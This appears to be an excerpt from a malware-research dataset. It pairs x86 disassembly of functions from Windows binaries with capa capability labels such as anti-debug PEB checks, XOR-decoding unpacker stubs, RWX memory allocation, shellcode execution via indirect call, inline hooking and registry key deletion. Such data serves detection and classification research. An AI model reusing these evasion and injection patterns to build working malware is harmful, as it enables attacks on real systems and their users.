joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10077c40
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
push 0xffffffffffffffff
push 0x10091a94
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov al, byte [esp + 0x18]
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, 0x10093a38
mov ebp, 0x10093a34
lea ecx, [esi + 8]
xor ebx, ebx
mov dword [esi], edi
mov dword [esi + 4], ebp
push ebx
mov dword [esp + 0x18], esi
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
mov dl, byte [esp + 0x28]
lea ecx, [esi + 0x18]
push ebx
mov dword [esp + 0x24], ebx
mov byte [ecx], dl
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [esp + 0x28]
lea ecx, [esi + 0x34]
push ebx
mov byte [esp + 0x24], 1
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov cl, byte [esp + 0x28]
mov dl, byte [esp + 0x28]
mov al, byte [esp + 0x28]
mov byte [esi + 0x6c], cl
lea ecx, [esi + 0x70]
mov dword [esi + 0x58], ebx
mov dword [esi + 0x44], ebx
mov dword [esi + 0x48], 1
mov dword [esi + 0x5c], ebx
mov dword [esi + 0x60], ebx
mov dword [esi + 0x64], 0x7f
mov dword [esi + 0x68], ebx
mov byte [esp + 0x20], 2
mov byte [ecx], dl
mov byte [ecx + 1], al
mov byte [ecx + 8], bl
call fcn.10076180
lea ecx, [esp + 0x28]
mov byte [esp + 0x20], 3
push ecx
lea ecx, [esi + 0x84]
call fcn.10076490
mov byte [esi + 0x94], bl
mov dword [esi + 0x98], edi
mov dword [esi + 0x9c], ebp
mov dword [esi + 0x80], 0x10094534
mov dword [esi + 0x98], 0x10094530
mov dword [esi + 0x9c], 0x1009452c
lea edx, [esp + 0x13]
lea ecx, [esi + 0xa4]
push edx
mov byte [esp + 0x24], 4
call fcn.10076490
mov byte [esi + 0xb4], bl
mov dword [esi + 0xb8], edi
mov dword [esi + 0xbc], ebp
mov dword [esi + 0xa0], 0x10094b88
mov dword [esi + 0xb8], 0x100949b4
mov dword [esi + 0xbc], 0x100949b0
lea eax, [esp + 0x28]
lea ecx, [esi + 0xc4]
push eax
mov byte [esp + 0x24], 5
call fcn.10076490
mov byte [esi + 0xd4], bl
mov dword [esi + 0xd8], edi
mov dword [esi + 0xdc], ebp
mov dword [esi + 0xc0], 0x10094b84
mov dword [esi + 0xd8], 0x100949a8
mov dword [esi + 0xdc], 0x100949a4
lea edi, [esi + 0xe0]
mov byte [esp + 0x20], 6
mov ecx, edi
call fcn.1007bb40
mov dword [edi + 0x18], 0x10093a38
mov dword [edi + 0x1c], ebp
mov dword [edi], 0x10094b80
mov dword [edi + 0x18], 0x1009499c
mov dword [edi + 0x1c], 0x10094998
lea ecx, [esi + 0x100]
mov byte [esp + 0x20], 7
call fcn.1007b260
lea edx, [esi + 0x28]
xor ecx, ecx
mov dword [esi], 0x10094b78
mov dword [esi + 4], 0x10094b74
mov dword [edx], ecx
mov eax, esi
pop edi
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x14]
mov dword [esi + 0x50], ebx
mov dword [esi + 0x30], ebx
mov dword [esi + 0x54], ebx
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret 4
Function at 0x100788a0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x10091bbf
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c
mov al, byte [esp + 0x4c]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
lea ecx, [esp + 0x1c]
push ebx
mov dword [esp + 0xc], ebx
mov byte [esp + 0x20], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov cl, byte [esp + 0x54]
mov eax, dword [esi + 0x30]
mov dword [esp + 0x4c], 1
mov byte [esp + 0xc], cl
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
cmp eax, ebx
mov byte [esp + 0x4c], 2
jle 0x10078919
push edi
add esi, 0x28
mov edi, eax
mov edx, dword [esp + 0x18]
push esi
push 1
push edx
lea ecx, [esp + 0x1c]
call fcn.100604b0
inc esi
dec edi
jne 0x10078903
pop edi
lea ecx, [esp + 0x2c]
call fcn.10084530
mov esi, dword [esp + 0x54]
lea eax, [esp + 0xc]
push eax
push esi
mov byte [esp + 0x54], 3
call fcn.10085bc0
add esp, 8
mov dword [esp + 8], 1
lea ecx, [esp + 0x2c]
mov byte [esp + 0x4c], 2
call fcn.10084750
mov ecx, dword [esp + 0x10]
push ecx
call fcn.10088e50
mov ecx, dword [esp + 0x24]
add esp, 4
cmp ecx, ebx
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
je 0x1007898c
mov al, byte [ecx - 1]
cmp al, bl
je 0x10078982
cmp al, 0xff
je 0x10078982
dec al
mov byte [ecx - 1], al
jmp 0x1007898c
dec ecx
push ecx
call fcn.10088e50
add esp, 4
mov ecx, dword [esp + 0x44]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x48
ret 4
Function at 0x10086310
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x10092561
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x38
mov eax, dword [esp + 0x48]
push ebp
mov ebp, ecx
mov dl, byte [esp + 0x4c]
mov ecx, dword [eax + 4]
push esi
push edi
mov dword [ebp + 0xc], ecx
mov esi, dword [eax]
lea edi, [ebp + 0x10]
mov ecx, 7
mov byte [esp + 0xc], dl
rep movsd dword es:[edi], dword [esi]
xor edi, edi
mov dword [esp + 0x10], edi
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], edi
lea ecx, [esp + 0x2c]
mov dword [esp + 0x4c], edi
call fcn.10084530
lea eax, [ebp + 0x18]
lea ecx, [esp + 0x2c]
push eax
mov byte [esp + 0x50], 1
call fcn.10084760
lea ecx, [esp + 0xc]
push ecx
lea ecx, [esp + 0x30]
call fcn.10085100
test al, al
je 0x1008640e
mov esi, dword [esp + 0x10]
cmp esi, edi
jne 0x1008639c
mov esi, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
mov dl, byte [esp + 0x54]
push ebx
push edi
lea ecx, [esp + 0x24]
lea ebx, [ebp + 0x2c]
mov byte [esp + 0x24], dl
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
cmp esi, edi
mov byte [esp + 0x50], 2
je 0x100863d6
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
lea ecx, [esp + 0x28]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
xor edi, edi
lea eax, [esp + 0x20]
mov ecx, ebx
push eax
mov byte [esp + 0x54], 3
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::swap_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char____]
mov eax, dword [esp + 0x24]
pop ebx
cmp eax, edi
je 0x1008640e
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x10086405
cmp al, 0xff
je 0x10086405
dec al
mov byte [ecx], al
jmp 0x1008640e
push ecx
call fcn.10088e50
add esp, 4
lea ecx, [esp + 0x2c]
mov byte [esp + 0x4c], 0
call fcn.10084750
mov ecx, dword [esp + 0x10]
cmp ecx, edi
je 0x10086440
mov al, byte [ecx - 1]
test al, al
je 0x10086436
cmp al, 0xff
je 0x10086436
dec al
mov byte [ecx - 1], al
jmp 0x10086440
dec ecx
push ecx
call fcn.10088e50
add esp, 4
mov ecx, dword [esp + 0x44]
pop edi
mov byte [ebp + 0x44], 6
pop esi
mov al, 1
pop ebp
mov dword fs:[0], ecx
add esp, 0x44
ret 4
Function at 0x10086660
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x100925b1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x38
mov eax, dword [esp + 0x48]
push ebp
mov ebp, ecx
mov dl, byte [esp + 0x4c]
mov ecx, dword [eax + 4]
push esi
push edi
mov dword [ebp + 0xc], ecx
mov esi, dword [eax]
lea edi, [ebp + 0x10]
mov ecx, 7
mov byte [esp + 0xc], dl
rep movsd dword es:[edi], dword [esi]
xor edi, edi
mov dword [esp + 0x10], edi
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], edi
lea ecx, [esp + 0x2c]
mov dword [esp + 0x4c], edi
call fcn.10084530
lea eax, [ebp + 0x18]
lea ecx, [esp + 0x2c]
push eax
mov byte [esp + 0x50], 1
call fcn.10084760
lea ecx, [esp + 0xc]
push ecx
lea ecx, [esp + 0x30]
call fcn.10085100
test al, al
je 0x1008675e
mov esi, dword [esp + 0x10]
cmp esi, edi
jne 0x100866ec
mov esi, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
mov dl, byte [esp + 0x54]
push ebx
push edi
lea ecx, [esp + 0x24]
lea ebx, [ebp + 0x2c]
mov byte [esp + 0x24], dl
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
cmp esi, edi
mov byte [esp + 0x50], 2
je 0x10086726
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
lea ecx, [esp + 0x28]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
xor edi, edi
lea eax, [esp + 0x20]
mov ecx, ebx
push eax
mov byte [esp + 0x54], 3
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::swap_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char____]
mov eax, dword [esp + 0x24]
pop ebx
cmp eax, edi
je 0x1008675e
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x10086755
cmp al, 0xff
je 0x10086755
dec al
mov byte [ecx], al
jmp 0x1008675e
push ecx
call fcn.10088e50
add esp, 4
lea ecx, [esp + 0x2c]
mov byte [esp + 0x4c], 0
call fcn.10084750
mov ecx, dword [esp + 0x10]
cmp ecx, edi
je 0x10086790
mov al, byte [ecx - 1]
test al, al
je 0x10086786
cmp al, 0xff
je 0x10086786
dec al
mov byte [ecx - 1], al
jmp 0x10086790
dec ecx
push ecx
call fcn.10088e50
add esp, 4
mov ecx, dword [esp + 0x44]
pop edi
mov byte [ebp + 0x44], 5
pop esi
mov al, 1
pop ebp
mov dword fs:[0], ecx
add esp, 0x44
ret 4
Function at 0x1008a610
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0xc]
xor edx, edx
mov ecx, 0xc00
div ecx
test ebp, ebp
jle 0x1008a660
push ebx
push esi
push edi
mov edi, dword [esp + 0x14]
mov eax, 0xc00
mov ecx, ebp
sub eax, edx
cmp ebp, eax
jl 0x1008a63c
mov ecx, eax
test ecx, ecx
jle 0x1008a655
lea eax, [edx + str.SH03_r_u0_f_o_er.XL8yLw]
mov esi, ecx
mov dl, byte [eax]
mov bl, byte [edi]
xor bl, dl
inc eax
mov byte [edi], bl
inc edi
dec esi
jne 0x1008a648
sub ebp, ecx
xor edx, edx
test ebp, ebp
jg 0x1008a62d
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x10001770
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x10009800]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, edx
mov edi, ecx
call fcn.10001490
mov ebx, eax
test edi, edi
je 0x10001830
test esi, esi
je 0x10001830
push 0x104
lea eax, [ebp - 0x110]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, esi
lea ecx, [ebp - 0x110]
call fcn.10001510
mov edi, eax
cmp edi, 0xffffffff
je 0x10001830
lea eax, [ebp - 0x110]
push 0x10007248
push eax
call dword [sym.imp.MSVCR120.dll_fopen]
push 0
mov esi, eax
push edi
push esi
call dword [sym.imp.MSVCR120.dll_fseek]
push esi
push 5
lea eax, [ebp - 0xc]
push 1
push eax
call dword [sym.imp.MSVCR120.dll_fread]
push esi
call dword [sym.imp.MSVCR120.dll_fclose]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x114]
add esp, 0x28
push eax
push 0x40
push 5
push ebx
call esi
mov eax, dword [ebp - 0xc]
mov dword [ebx], eax
mov al, byte [ebp - 8]
mov byte [ebx + 4], al
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 0x114]
push 5
push ebx
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10005667
mov esp, ebp
pop ebp
ret

Function at 0x100043d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
cmp eax, 1
jne 0x10004422
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0x400064
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x10004460
push 0x400064
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0
push 0
push 0x10003d30
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0xc
mov eax, 1
pop ebp
ret 0xc
test eax, eax
jne 0x10004460
mov ecx, 0x10009edc
call fcn.100054bc
mov ecx, 0x10009ea8
call fcn.100054bc
cmp byte [0x10009ec0], 3
jne 0x1000444d
mov ecx, 0x10009ec4
call fcn.100054bc
mov eax, dword [0x10009e6c]
test eax, eax
je 0x10004460
push eax
call dword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, 1
pop ebp
ret 0xc

Function at 0x100045c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push esi
push 0x1000736e
mov esi, ecx
call dword [sym.imp.MSVCR120.dll_printf]
mov cl, byte [0x100098c7]
add esp, 4
cmp cl, 7
jne 0x100045f3
push 0
push 0x40
push 2
push 0x100098c4
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cl, byte [0x100098c7]
xor byte [esi], cl
mov eax, 3
movzx ecx, byte [0x100098c6]
xor byte [esi + 1], cl
movzx ecx, byte [0x100098c5]
xor byte [esi + 2], cl
movzx ecx, byte [0x100098c5]
xor byte [esi + 3], cl
inc eax
cmp eax, 5
je 0x10004627
mov cl, byte [0x100098c4]
xor byte [eax + esi], cl
cmp eax, 7
jne 0x10004618
mov al, byte [0x100098c7]
add al, al
xor byte [esi + 5], al
pop esi
ret
Function at 0x100053cb
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
push edi
mov edi, ecx
push 5
pop ebx
mov dword [edi + 0x10], eax
jmp 0x100053e9
add eax, dword [edi + 0x10]
push eax
call fcn.10005511
add dword [edi + 8], eax
pop ecx
mov eax, dword [edi + 8]
cmp eax, ebx
jb 0x100053dc
add eax, 5
mov dword [edi + 4], eax
inc eax
push eax
call sub.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_
xor edx, edx
mov dword [edi + 0x14], eax
pop ecx
cmp dword [edi + 8], edx
jbe 0x1000541a
mov eax, dword [edi + 0x10]
mov ecx, dword [edi + 0x14]
mov al, byte [edx + eax]
mov byte [edx + ecx], al
inc edx
cmp edx, dword [edi + 8]
jb 0x10005408
push esi
push 0x40
push 0x1000
push dword [edi + 4]
push 0
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [edi + 8]
mov dword [edi], eax
mov eax, dword [edi + 0x14]
mov byte [ecx + eax], 0xe9
mov eax, dword [edi + 0x10]
mov esi, dword [edi + 8]
add eax, ebx
push eax
mov eax, dword [edi]
add eax, esi
push eax
call fcn.10005505
mov ecx, dword [edi + 0x14]
mov dword [esi + ecx + 1], eax
push dword [edi + 4]
push dword [edi + 0x14]
push dword [edi]
call sub.MSVCR120.dll_memcpy
add esp, 0x14
lea ebp, [edi + 0xc]
push ebp
push 0x40
push dword [edi + 8]
push dword [edi + 0x10]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [edi + 0x10]
push dword [esp + 0x18]
mov byte [eax], 0xe9
mov esi, dword [edi + 0x10]
push esi
call fcn.10005505
pop ecx
mov dword [esi + 1], eax
pop ecx
pop esi
cmp dword [edi + 8], ebx
jbe 0x100054a4
mov eax, dword [edi + 0x10]
mov byte [ebx + eax], 0x90
inc ebx
cmp ebx, dword [edi + 8]
jb 0x10005497
push ebp
push dword [ebp]
push dword [edi + 8]
push dword [edi + 0x10]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [edi]
pop edi
pop ebp
pop ebx
ret 0xc

Function at 0x100054bc
Capabilities:
Allocate or change rwx memory

Disassembly:
push esi
mov esi, ecx
lea eax, [esi + 0xc]
push eax
push 0x40
push dword [esi + 8]
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
cmp dword [esi + 8], edx
jbe 0x100054ea
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x10]
mov al, byte [edx + eax]
mov byte [edx + ecx], al
inc edx
cmp edx, dword [esi + 8]
jb 0x100054d8
push 0x8000
push dword [esi + 4]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [esi + 0x14]
call sub.MSVCR120.dll_void___cdecl_operator_delete_void__
pop ecx
pop esi
ret
Function at 0x401940
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov dword [ebp - 0x114], str.777ll
push 0x104
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, dword [ebp - 0x114]
push ecx
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 3
push 0
push 3
push 1
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xffffffff
je 0x4019af
cmp dword [ebp - 0x118], 0
je 0x4019af
jmp 0x401a13
mov ecx, dword [ebp + 8]
cmp dword [ecx + 4], 0
je 0x401a13
mov dword [ebp - 0x11c], 0x15f
mov edx, dword [ebp + 8]
add edx, 8
mov dword [0x440d34], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
mov dword [0x440d50], ecx
mov dword [ebp - 0x11c], 0x15f
mov dword [ebp - 0x11c], 0x15f
call fcn.004011b0
mov edx, dword [ebp + 8]
mov dword [0x440d4c], edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 1
call fcn.00401300
add esp, 0xc
mov dword [ebp + 8], eax
jmp 0x4019af
mov esp, ebp
pop ebp
ret

Function at 0x401ab0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [0x440d40], 0x24e1
mov eax, dword [0x440d40]
sub eax, 0x24e1
mov dword [0x440d40], eax
mov ecx, 1
test ecx, ecx
je 0x401b5b
mov edx, dword [0x440d40]
cmp edx, dword [ebp + 0xc]
jb 0x401ae7
jmp 0x401b5b
cmp dword [0x440d40], 0
jne 0x401b05
push 0x263
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
test eax, eax
je 0x401b05
xor eax, eax
jmp 0x401b5b
mov eax, dword [ebp + 8]
add eax, dword [0x440d40]
mov ecx, dword [eax]
add ecx, dword [0x440d40]
mov edx, dword [ebp + 8]
add edx, dword [0x440d40]
mov dword [edx], ecx
mov dword [ebp - 4], 0xdaa90
mov eax, dword [0x440d40]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax + 2]
push edx
mov eax, dword [ebp + 8]
add eax, dword [0x440d40]
push eax
call fcn.004011c0
add esp, 8
mov ecx, dword [0x440d40]
add ecx, 4
mov dword [0x440d40], ecx
jmp 0x401acd
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x401443
pop dword [ebp - 0xc]
mov eax, 0xe592add2
add eax, 0x1aad6671
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x8005381c
sub dword [ebp - 0x1c], 0x31b2f2d1
mov dword [ebp - 0x18], 0xca366b61
sub dword [ebp - 0x18], 0x98031f1c
mov dword [ebp - 0x14], 0x463d6473
add dword [ebp - 0x14], 0x60edfbb
mov dword [ebp - 0x10], 0x94d6d697
add dword [ebp - 0x10], 0x6b292969
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xbfe7a6bb
sub eax, 0xbfa725b7
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xd2c2cb46
add dword [ebp - 0x1c], 0xa1af9e10
mov dword [ebp - 0x18], 0x3bdf969a
sub dword [ebp - 0x18], 0xfa733525
mov dword [ebp - 0x14], 0xcf7b7c90
sub dword [ebp - 0x14], 0x6c0c1024
mov dword [ebp - 0x10], 0x3e346326
sub dword [ebp - 0x10], 0x3e346326
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x4c4447f
sub eax, 0x483c37f
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3506a
push 0
call eax
mov ecx, 0xaa2855fa
sub ecx, 0xaa281b09
xor esi, esi
add esi, eax
mov edi, 0x2e78620f
add edi, 0xd1ce81f1
add edi, dword [ebp - 0xc]
mov edx, 0x6cf0290c
add edx, 0xc18a45
xor dword [ebp - 4], esi
mov ebx, dword [edi]
xor dword [ebp - 4], 0x3feef292
sub ebx, edx
xor dword [ebp - 4], edx
mov dword [esi], ebx
add esi, 0x93ae0725
add esi, 0x6c51f8df
add edi, 4
loop 0x401567
add eax, 0xc3f921f3
sub eax, 0xc3f8435c
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x9301fe8a
sub ecx, 0x92c1fe8a
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42a2f0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004065ec
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x42a2f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42a2f0], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x1001dcb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1001dcbf
pop dword [ebp - 0x20]
mov eax, 0x5afc60db
add eax, 0xb5057be4
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xc25d2356
add dword [ebp - 0x30], 0x8bf521f5
mov dword [ebp - 0x2c], 0x1df05fad
sub dword [ebp - 0x2c], 0xebbd1368
mov dword [ebp - 0x28], 0x2cd312bf
sub dword [ebp - 0x28], 0xe086ce91
mov dword [ebp - 0x24], 0x71929e14
sub dword [ebp - 0x24], 0x71929e14
lea eax, [ebp - 0x30]
push eax
mov eax, 0xddfb3bf4
sub eax, 0xcdf50bdc
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xd656fe6f
sub dword [ebp - 0x30], 0x61e49519
mov dword [ebp - 0x2c], 0x89096ab
add dword [ebp - 0x2c], 0x38dbcaca
mov dword [ebp - 0x28], 0x9858b76d
sub dword [ebp - 0x28], 0x34e94b01
mov dword [ebp - 0x24], 0xa4cb507c
add dword [ebp - 0x24], 0x5b34af84
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x8308acf8
add eax, 0x8cfd8328
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x54764
push 0
call eax
mov ecx, 0x4977
xor edx, edx
add edx, eax
mov ebx, 0x10098600
add ebx, dword [ebp - 0x20]
mov edi, 0x4aee5400
add dword [ebp - 8], 0x845227bd
mov esi, dword [ebx]
xor dword [ebp - 0xc], 0xdf694b6a
add esi, edi
sub dword [ebp - 0x1c], 0x717b788e
mov dword [edx], esi
mov dword [ebp - 0x10], 0x1ed8e07e
add edx, 0x90241c3d
sub edx, 0x90241c39
add ebx, 0xb1c7038b
add ebx, 0x4e38fc79
loop 0x1001ddd1
add eax, 0x7345e918
sub eax, 0x7344d069
mov ebx, eax
add eax, 0x4ded4366
add eax, 0xb212bc9f
mov ecx, 0x10000000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret